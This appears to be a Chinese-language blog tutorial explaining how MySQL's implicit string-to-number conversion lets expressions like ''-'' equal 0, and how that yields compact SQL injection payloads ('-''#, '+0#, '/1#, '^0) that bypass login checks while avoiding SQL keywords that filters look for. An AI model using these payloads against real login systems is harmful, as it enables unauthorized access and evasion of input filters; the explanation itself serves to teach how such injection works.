使用MySQL字符串運算實施精巧化SQL注入***

 我們先來看這樣一個場景。

有以下表結構:

mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field    | Type         | Null | Key | Default | Extra          | +----------+--------------+------+-----+---------+----------------+ | id       | mediumint(9) | NO   | PRI | NULL    | auto_increment | | name     | char(32)     | NO   | UNI | NULL    |                | | password | char(32)     | NO   | UNI | NULL    |                | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)

執行select * from admin;,成功返回所有記錄內容。

+----+--------+----------------------------------+ | id | name   | password                         | +----+--------+----------------------------------+ |  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 | |  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | |  4 | n00b   | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set (0.00 sec)

執行select * from admin where name=”;,沒有匹配到任何記錄。

mysql> select * from admin where name = ''; Empty set (0.00 sec)

那麼我們來執行select * from admin where name = ”-”;

+----+--------+----------------------------------+ | id | name   | password                         | +----+--------+----------------------------------+ |  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 | |  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | |  4 | n00b   | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set, 3 warnings (0.00 sec)

可以看到,也成功返回了所有記錄,但是有三個warnings,我們看下警告信息:

mysql> show warnings; +---------+------+------------------------------------------ | Level   | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 3 rows in set (0.00 sec)

提示截斷了錯誤的DOUBLE值’admin等等,當在一個字符串類型的列中使用數字類型的值時會產生這類警告。
我們單獨執行select ”-”;看下結果。

mysql> select ''-''; +-------+ | ''-'' | +-------+ |     0 | +-------+ 1 row in set (0.00 sec)

返回0,也就是說我們查詢的每一行的name子段都會和0做對比,這樣就會觸發一個類型轉換,對name字段轉換的結果也必然爲0:

mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+ |                                                   0 | +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec)

因此where語句構成了相等的條件,where 0=”-”,記錄被返回。

SQL注入場景: http://www.sqlzoo.net/hack/

如果我們想繞過登錄驗證,上面已經給出了一個傳統的tips:用戶名密碼均爲’ or ”=’
這樣的邏輯和繞過方式很常見,這裏不再具體解釋了。

那麼通過這次發現的技巧,可以使用一種相當精巧的方式,且避免使用SQL關鍵字,來繞過登錄。

僅僅在name子段輸入’-”#,password留空,即可繞過登錄驗證。

 

除了”-”,其他運算符”+”,”*”,”^”都會有同樣的效果。 再繼續進行測試,我們發現只要在閉合單引號的情況系構造查詢結果爲0的條件即可

mysql> select ''/1; +------+ | ''/1 | +------+ |    0 | +------+ 1 row in set (0.00 sec)

類似的”+0,”-0,”*0,”^0均可。
那麼剛纔的注入環境我們使用以下的精簡payload同樣可以繞過登錄認證:
‘+0#,’/1#,’^0,’-0#等等。
利用這樣一種特性,當目標對注入語句中的SQL關鍵字進行過濾時,便可通過這樣一種方式進行Bypass。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章